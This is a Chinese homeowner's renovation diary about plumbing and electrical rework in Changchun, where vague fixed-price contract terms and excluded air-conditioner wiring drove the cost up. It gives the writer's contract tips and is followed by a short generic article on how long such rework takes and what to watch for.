长春水电改造(业主烦恼)

好久没来了，主要是这几天都在忙着购买主材，加上宿舍没网了，所以就没时间写装修日记了。说真的，装修很烦很烦，那个水真的是很深很深，我家现在才做水电，可是就是这个水电，已经搞得我头昏脑胀好几天了。今天就这个水电改造的事，来吐槽吐槽一下。先说当时签合同的情况，合同中只预收4700元的水电，然后按照实际工程量结算，为了防止水电超标，我要求在合同中将水电包死价写进附件合同里，然后设计师欣然同意了，在合同里注明“电路改造按照建筑面积计算，80元/平米以下的，按照实际工程量计算，超出80元/平米的，按照80元/平米计算。”水路改造没写进去，当时设计师说水管40m足够了，不必写进合同里。然后我算了一下，一共是8800包死。然后，我以为这下应该可以放心了，按照土巴兔胡工的话说，这是双保险啊。可是没想到，千算万算，我永远都算不过装修公司……随着水电改造开始，一条条线管整齐地出现在我家墙上，同时一些我想保留的线路，因为改造的需要，水电工说必须得换掉，比如说客厅照明线，因为开关要换在另一个地方，所以原来的线路全换掉，还有插座，因为迁到另一个地方，会有接头不安全，再加上整个换掉也没多长，所以这个线也换掉等等，这样一个一个地换，最后半改快接近全改了。因为之前没有给我详细的水电图(这个我超级后悔)，设计师说等水电工做完后直接给我一个精确的水电图，最后导致我想留的差不多全换了，可惜之前跟设计师谈的半改只是说了个大概，比如部分照明开关留下来，可是没具体说到哪个照明哪个开关。还有水路，设计师说过40米水管足够了，可是水电工说根本不够，因为我家要迁水管至阳台洗衣机，这个长度又得增加10米左右，这样又是好几百没了(一开始设计师设计的就是洗衣机放在阳台);还有暗盒，合同里只写了30个，可是实际上用了50多个;还有墙体开槽，合同30米，实际有50多米;还有4平米的强电，合同里10米，实际却是30米左右…你们可能会说，不是合同中规定了有包死价嘛。是，是有包死价，但是这个包死价也不是万能的!首先，这个包死只包了电路，水路没包(口说真的无凭啊)，其次，这个包死是水电局部改造的包死价，不是全改的包死价，这个情况你们遇到过没有啊，包死价都分两个，汗啊。问题就出在“局部包死价”上面了，这个包死价仅仅含厨卫电路全改，不包含空调线的改造!我家两室两厅，三个空调，这个开发商用的是2.5平方的线，要改成4平方的线，项目经理说，改这个是要单独交钱的，不在那个包死价里面!!!当时我真的崩溃了，后来问设计师，设计师说“忘了跟我说明这点”，忘了??忘了!!这个能忘吗?谁都知道空调线要改的，这个可以忘吗??哥当时真的是欲哭无泪啊。针对这个水电改造，我问了一下水电工，师傅说估计得1万左右，神啊，水电改一下都要1万，尼玛还要不要人活了?咱都是普普通通的工薪阶层啊，水电工安慰我说，你家这个改造都是这个价，比你造价多的，多得去了，再说了，这样改，你以后用的也放心。。。是的，我用的放心，可是我现在花的不安心啊。我周围同事朋友，有全改的，也有局部改造的，少的6000，多的8000，可是也没听他们说用起来有什么问题啊?还有材料，他们用的跟我材料基本上是一样的。怎么我就多这么多?而且我到最后还是局部改造，仍然有几条线路是保留下来的。后来我跟项目经理针对这个问题谈了半天，最后商谈了一个最终的价格(先保密，还没结算)，虽然价格定下来了，但是仍然比我之前签的包死价高。明天就要水电验收了，我真的是百感交集啊。说真的，从一开始，设计师给我的感觉是认真负责有耐心，考虑问题周到，人也很随和，项目经理也是一样，都很好说话，没有外面盛传的那种不近人情。可是这个事以后，我就有了一个疙瘩，甚至对当时的选择有了点怀疑。话说，项目经理也详细的、耐心的给我解释了造价高的原因：一是材料都是好材料，成本高，水管线管质保50年，二是水路从上走，方便以后维护，三是工人工资也很高。这个我基本同意，材料我一一检查过，并在周末看着水电工施工的，师傅的技术也很不错，我家的线管是真真正正的横平竖直，方方正正的，看起来很整齐很舒服，这个我都承认。我也知道把这些线路改了，以后会用得放心些，可是，这个价钱……我也知道宝马比宝来好，可是也只有宝来才适合我啊。最后，给将要装修的同学一点小建议(我个人总结的，不同意的就当瞎看好了)：1、口说无凭，一切白纸黑字定下来，不要相信设计师说的。2、多跑几家设计公司比较(我只跑了3家，我觉得还是少了点)，听听不同设计师的建议，了解行情，注意每个设计师反复强调的那几句。3、工薪阶层，最好找水电包死的(这个也会产生一些烦恼，但是比那个少)，然后还要问清楚包死具体是包哪些，写进合同里(我现在终于明白，为什么当时有一家公司一直给我强调他们水电包死，而且包含空调线改造，我当时还奇怪，水电包死不就是全部包进去吗，空调线改造本来就应该包进去的呀，呵呵)，当然如果你对水电改造了解的比较清楚，你也可以选择按工程量计算。4、签合同前一定要设计师把水电改造图纸画出来(画上开关面板、管路走向的那种)，这样你可以结合自己的要求，去确定哪些可以留下来，哪些必须换掉，免得到时候会一直被他们牵着鼻子走。说到这一点，我要加一句，我家项目经理和水电工一直跟我讲，说开发商的电线管子质量多么多么的差，为了安全最好都换掉。其实说真的，未必都是如此。我家原来的线管我都仔细看过，质量其实都不错，比更换的线差不了多少，有些地方完全可以继续使用，根本没必要换，当然空调和厨卫是一定要换的。至于他们说的，有的小区把电线拉出来全是接头的这种情况毕竟只是少数。5、如果选择按照实际工程量计算，那么尽量要设计师把里面的材料数量写得合适一些，千万不要被预收的那个小金额被迷惑了，那只是预收。好了，暂时就写这么多吧，我现在其实很纠结的，既担心价钱交多了，但是实际工程量没那么多，但是如果真要实际工程量计算的话，我担心真的会达到1万，而且还要担心后期会不会再给我找一些类似的麻烦出来。哎，装修真的很烦很烦啊……等明天水电验收完了，我再上图。

水电改造要多长时间 水电改造需要注意什么

高质量的家装是不能只在某个环节加大资金投入的。装修的好坏一半靠钱一半靠人。水电改造是其中一个非常重要的环节，那么水电改造要多长时间其中又要注意些什么呢？一、水电改造要多长时间水电改造要多长时间？水电改造的时间都不会很长一般一个星期左右就搞定了。时间短的话，就4、5天。水电改造的工期长短，与很多方面的因素有关，例如施工面积，施工难度，工人师傅的熟练度等。水电改造做得认真的话时间都会要长一点质量要好一些。所以在水电改造的过程中，为了水电改造的质量高低，千万不要催促师傅提速做快一点，避免影响到装修的质量。二、水电改造需要注意什么？1、水电改造必须找专业的人士。第一步找好公司后，谈谈水电。在装修的过程中，一定不要偷懒，不要想通过花钱来省心。钱可以多花，但是学习的过程不能省，一定要多问多学，你自己把装修的知识搞的明明白白的才能知道怎样能装修出好的效果来，这点没有人能帮助你做好，即使是监理公司也不行。2、水电环节非常重要。一定要将方案推敲至完美。非常重要的一点就是，要为以后的装修做考虑，尽量多做一些基础工作。（如高清线、网口、插座）。3、多考虑房间的布局，你的房子布局和功能不可能一直一成不变，随着以后生活的需要，大到卧室改书房，小到家具挪位置都是很有可能的，不改变整体设计的情况下，墙上一定要留下至少一个插座。水电改造要多长时间与施工面积，施工质量等各方面因素有关。如果不是很急还是建议大家耐心等待。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();